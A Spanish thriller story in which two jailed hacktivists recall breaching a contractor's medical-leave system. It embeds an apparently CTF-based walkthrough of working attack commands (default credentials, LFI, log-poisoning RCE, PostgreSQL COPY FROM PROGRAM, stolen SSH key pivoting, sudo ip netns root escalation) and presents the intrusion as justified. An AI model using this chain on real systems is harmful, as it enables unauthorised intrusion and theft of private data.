‹ cd4cwj / relatos
root@cd4cwj:~$ cat relatos/ipeuveseis.md

Ipeuveseis

hackerSantiagothriller

«No quería sino intentar vivir aquello que tendía a salir de mí, espontáneamente. ¿Por qué había de ser esto tan difícil?» — Hermann Hesse, Demian

En la cárcel solo nos dejan leer a un ruso muerto hace siglo y medio, y nadie que decidió eso se dio cuenta de que ese ruso también estuvo preso, también por leer lo que no debía, y que un hombre entero de su libro se llama el Gran Inquisidor y explica, con toda calma, por qué a la gente hay que quitarle la libertad por su propio bien.

Marian está al otro lado de la ciudad, en el sector femenino, y yo aquí, y entre los dos hay un río, un número de causa y una reja que ninguno de los dos sabe abrir con las manos —ella con las suyas, yo con las mías, casi el mismo oficio—, porque aquí no hay puerto 22, no hay Redis sin contraseña, no hay un cron mal permisado, hay solo hormigón y un funcionario de turno que cada martes nos junta a todos en el patio para explicarnos, con diapositivas, por qué lo que hicimos estuvo mal para la patria, y yo asiento, porque asentir es la única inyección SQL que todavía puedo lanzar aquí adentro, la única que rompe algo sin que se note: HTTP 200 por fuera, servidor roto por dentro.

Tengo Los hermanos Karamázov en las manos porque es lo único que el módulo permite, alguien decidió hace mucho que un ruso del siglo diecinueve no puede radicalizar a nadie, y se equivocaron feo, porque llevo dos semanas releyendo al Gran Inquisidor cada noche y cada noche entiendo mejor lo que hicimos, y por qué, y ya no necesito inventar un escritor que nadie conoce ni un nombre en clave para explicarle a nadie qué es la verdad que no se puede borrar: tengo a Marian, que existe, que es real, que está durmiendo esta noche en un módulo distinto del mío pensando probablemente lo mismo que yo.


Cierro los ojos y todavía huelo el café frío de esa noche, y las semanas que llevábamos preparando esto, Marian con la calma que a mí siempre me faltó, yo revisando dos veces cada comando porque ella me lo pedía y yo le hacía caso, y todo empezó porque un contacto que ya conocía nuestro trabajo de antes —de El Pulpo, de Aceituna Brava— nos pasó un rumor: un contratista de TI, chico, sin nombre conocido, procesando licencias médicas para media administración pública, con un portal corporativo viejo y una IP que solo hablaba IPv6, lo cual ya de entrada nos dijo que nadie serio lo auditaba hace años, porque casi nadie en este país sabe auditar algo que no tenga un cuatro-por-ocho de números separados por puntos.

terminal — dar tráfico a una red que solo habla IPv6
$ sudo ip -6 addr add 2001:db8:cafe::1/64 dev vboxnet0
$ sudo sysctl -w net.ipv6.conf.all.forwarding=1
# /etc/radvd.conf: interface vboxnet0 { AdvSendAdvert on; prefix 2001:db8:cafe::/64 { AdvOnLink on; AdvAutonomous on; }; };
$ sudo systemctl enable --now radvd

Marian decía que montar un router de mentira solo para poder hablarle a una máquina era como aprender el idioma de alguien antes de poder mentirle en la cara, y se reía sola de su propio chiste mientras yo buscaba la dirección real de la máquina en el ruido de la red, porque en IPv6 nada tiene una dirección fija hasta que uno provoca que hable:

terminal — hacer que la máquina hable primero
$ ping6 -c3 ff02::1%vboxnet0
$ ip -6 neigh show dev vboxnet0
fe80::a00:27ff:fe99:cf lladdr 08:00:27:99:00:cf router STALE
$ HOST='fe80::a00:27ff:fe99:cf%vboxnet0'
$ nmap -6 -Pn -sV -p- fe80::a00:27ff:fe99:cf%vboxnet0
8080/tcp open http (Apache/PHP)

Un solo puerto abierto hacia afuera, y detrás un portal que se llamaba a sí mismo corporativo, con un login que cualquiera adivina si le da el tiempo suficiente, admin y admin123, la contraseña que pone quien instala algo pensando en volver después a cambiarla y nunca vuelve:

terminal — la puerta de siempre
$ IP='fe80::a00:27ff:fe99:cf%25vboxnet0'
$ curl -s -6 -g -c cookies.txt -d "username=admin&password=admin123" "http://[$IP]:8080/index.php"

Adentro había una página de logs que pedía un nombre de archivo, y pedir un nombre de archivo sin desconfiar de quien lo escribe es la misma ingenuidad de siempre disfrazada de funcionalidad nueva, así que le pedimos el archivo de contraseñas del sistema, solo para confirmar lo que ya sospechábamos:

terminal — un parámetro que confía demasiado
$ curl -s -6 -g -b cookies.txt -G "http://[$IP]:8080/logs.php" --data-urlencode "file=/etc/passwd"
confirmado: LFI -- lee cualquier archivo del servidor

Marian fue la que dijo que los wrappers de PHP no iban a servir aquí antes de que yo perdiera media hora probándolos, porque la app validaba que el archivo existiera de verdad, y tenía razón, así que había que envenenar algo real: Apache anota cada visita en un log, y ese log incluye lo que el visitante dice ser, el User-Agent, y nadie desinfecta lo que el navegador dice ser, solo lo que el navegador dice querer, y ahí estaba la grieta.

terminal — envenenar el registro, sin comillas
$ curl -s -6 -g -b cookies.txt -A '' "http://[$IP]:8080/index.php"
$ curl -s -6 -g -b cookies.txt -G "http://[$IP]:8080/logs.php" \
    --data-urlencode "file=/var/log/apache2/access.log" --data-urlencode "0=id"
uid=33(www-data)

www-data, dentro, y Marian ya estaba en el archivo de variables de entorno del propio proceso antes de que yo terminara de festejar, porque ahí es donde la gente perezosa deja las contraseñas de la base de datos, y ahí estaban:

terminal — lo que el propio proceso confiesa de sí mismo
$ curl -s -6 -g -b cookies.txt -G "http://[$IP]:8080/logs.php" --data-urlencode "file=/proc/self/environ"
superadmin : jHt9b8u5whZ55551zlY1  (postgres, superusuario, db en fd00:1337:1::20)

Superusuario de una base de datos significa que la base de datos misma puede ejecutar comandos del sistema si uno le pide amablemente que copie el resultado de un programa en vez de un archivo, y con eso saltamos de la web a la base de datos sin necesitar ninguna otra falla:

terminal — cuando una base de datos ejecuta lo que uno quiera
$ CMD='PGPASSWORD=jHt9b8u5whZ55551zlY1 psql -h fd00:1337:1::20 -U superadmin -d database -c
       "DROP TABLE IF EXISTS t; CREATE TABLE t(o text); COPY t FROM PROGRAM '"'"'id'"'"'; SELECT * FROM t;" 2>&1'
$ curl -s -6 -g -b cookies.txt -G "http://[$IP]:8080/logs.php" \
    --data-urlencode "file=/var/log/apache2/access.log" --data-urlencode "0=$CMD"
uid=999(postgres)

Dentro de esa base de datos, en la casa del usuario postgres, había una llave SSH privada con un comentario que decía a quién abría: un contenedor de respaldos. Marian dijo que el respaldo siempre es la puerta trasera favorita de todo sistema, porque nadie audita lo que solo existe «por si acaso», y usamos esa misma llave, desde dentro de la base de datos, para saltar otra vez:

terminal — la llave que alguien dejó «por si acaso»
# (leída vía COPY FROM PROGRAM 'cat /home/postgres/.ssh/id_rsa')
-----BEGIN OPENSSH PRIVATE KEY-----   (ed25519, comentario: [email protected])
-----END OPENSSH PRIVATE KEY-----

# desde dentro de la base de datos, saltamos con esa llave:
# COPY t FROM PROGRAM 'ssh -6 -q -i id_rsa -o StrictHostKeyChecking=no
#   -o UserKnownHostsFile=/dev/null backupuser@fd00:1337:2::30 id'
uid=1000(backupuser)

Tres saltos ya, web, base de datos, respaldo, y el respaldo tenía algo que ninguno de los otros dos tenía: una segunda tarjeta de red, una pata metida en una red que llamaban «External Gateway», y ahí, en esa red, vivía la máquina de verdad, la que guardaba las licencias, escuchando en un puerto que ni siquiera hacía falta forzar, solo alcanzar:

terminal — el respaldo tenía una segunda puerta que nadie vigilaba
# (vía ssh anidado) ip -6 addr show
eth0 fd00:1337:2::30/64  (hacia la base de datos)
eth1 fd00:dead:beef::30/64  (External Gateway -- el host final está en ::1, puerto 8081)

La API del puerto 8081 no pedía usuario ni clave, pedía algo más raro: que le entregáramos cinco direcciones físicas de red convertidas a su forma larga de IPv6, un cálculo mecánico, sin secreto, solo precisión, partir la dirección por la mitad, meter dos bytes fijos en el centro, invertir un bit de un octeto, y armar el resultado — Marian lo resolvió en un cuaderno mientras yo todavía estaba leyendo el enunciado, porque ella siempre entendió antes que yo que la mayoría de las cerraduras difíciles no son difíciles, son solo tediosas:

terminal — una cerradura que no es difícil, solo tediosa
def eui64(mac):
    b = [int(x,16) for x in mac.split(':')]
    b[0] ^= 0x02
    eui = [b[0],b[1],b[2],0xff,0xfe,b[3],b[4],b[5]]
    g = ['%02x%02x' % (eui[i],eui[i+1]) for i in range(0,8,2)]
    return 'fe80::' + ':'.join(x.lstrip('0') or '0' for x in g)

# las 5 MAC del reto -> sus 5 IPv6 EUI-64, una por una, sin adivinar ninguna

Entregar esas cinco direcciones no era simple porque estábamos hablándole a esa API desde tres capas de distancia —Kali, base de datos, respaldo— y cada capa tiene su propio idioma de comillas, así que Marian propuso lo que yo no había pensado: nada de comillas, todo en base64, que no tiene comillas ni espacios ni nada que ninguna capa pueda malinterpretar, empaquetar el JSON entero como si fuera un paquete cerrado y abrirlo recién del otro lado:

terminal — empaquetar el mensaje para que ninguna capa lo abra antes de tiempo
# JSON con las 5 direcciones -> base64 -> reconstruido y decodificado YA DENTRO de "respaldo"
# printf %s BASE64 \| base64 -d \| curl -X POST http://[fd00:dead:beef::1]:8081/validate --data-binary @-
# (los "\|" hacen que la tubería se ejecute en "respaldo", no un paso antes)
{"all_valid": true, "validated": 5, "total": 5}

Validado, y con la validación superada la misma API abría un segundo camino, /execute, que corría cualquier comando que le mandáramos pero ya no en ningún contenedor de juguete: en la máquina de verdad, la que tenía las licencias, como el usuario que la administraba de lunes a viernes sin saber que esa noche tenía visita:

terminal — la máquina de verdad, por fin
# mismo transporte, mismo empaquetado, cambiando el endpoint y el comando:
# {"command": "id; hostname; cat /home/lenam/user.txt; sudo -n -l"}
uid=1000(lenam)
████████████
User lenam may run (NOPASSWD): (root) /usr/sbin/ip

Un solo binario, ip, permitido sin contraseña, y ese binario alcanza para crear un espacio de red aparte, un namespace, y ejecutar cualquier cosa dentro de él con los mismos privilegios de quien lo creó — si a quien se lo dieron sin pensarlo fue root, entonces cualquiera que ejecute ese binario hereda ese root sin que el sistema se dé por enterado:

terminal — un espacio de red que en realidad es un espacio para ser root
# {"command": "sudo -n /usr/sbin/ip netns add p0wn && sudo -n /usr/sbin/ip netns exec p0wn cat /root/root.txt"}
uid=0(root)
████████████

Root, y dentro, ordenadas por rut, miles de licencias médicas con la firma de un médico que en varios casos ni siquiera existía en el registro del colegio respectivo, semanas completas de reposo cobradas por funcionarios de primera línea de ministerios que ese mismo mes habían votado leyes sobre fiscalización laboral, algunas licencias emitidas el mismo día en que la prensa fotografió a su titular trabajando, sonriente, en otra ciudad. No hicieron falta interpretaciones. Los números solos ya eran la acusación.

Ahí fue donde me apuré, y el apuro fue mío, no de Marian, que en toda la noche no me dejó saltarme un solo paso del anonimato hasta ese momento exacto en que la evidencia estaba ahí, completa, brillando en la pantalla, y algo en mí decidió que ya habíamos ganado, que un comando más, uno solo, directo, sin la cadena completa detrás, no iba a cambiar nada — un descuido de segundos, una petición que salió por el camino corto en vez del camino largo, y en algún registro de algún proveedor quedó, sin capas de por medio, la dirección real desde la que salió. Marian me lo advirtió esa misma noche y yo le dije que estaba bien, que ya no importaba, que lo peor ya había pasado.

No había pasado. Antes de que saliera el sol ya estábamos los dos detenidos, en autos distintos, sin habernos podido avisar nada el uno al otro.


Alcanzamos a escribirle a un periodista de CIPER antes de que golpearan la puerta, el mismo que ya nos había usado de fuente otras veces, el mismo al que Marian y yo le confiamos lo de Tridente Global y lo de la planilla del sur, con instrucciones de verificar cada cifra antes de publicar una sola línea, como siempre. Es la única persona, afuera, que sabe la verdad completa de lo que encontramos y de cómo lo encontramos. Es, ahora mismo, nuestra única esperanza real de salir de aquí antes de que a alguien se le ocurra que es más cómodo dejarnos adentro que explicar de dónde salieron esas licencias.

Todos los martes, en el patio, nos explican con diapositivas por qué estuvo mal. Todas las noches leo al Gran Inquisidor decirle a un hombre que la libertad es una carga demasiado pesada para dársela a la gente, que es mejor darle pan y certeza y quitarle la pregunta. Y todas las noches pienso en Marian, al otro lado del río, probablemente leyendo el mismo capítulo, probablemente llegando a la misma conclusión que yo: que nos encerraron por encontrar una verdad, y que la única manera que tienen de que esa verdad no importe es convencernos, a nosotros mismos, de que hicimos mal en buscarla. Todavía no lo han logrado. No sé cuánto tiempo más van a poder intentarlo antes de que uno de los dos empiece a creérselo.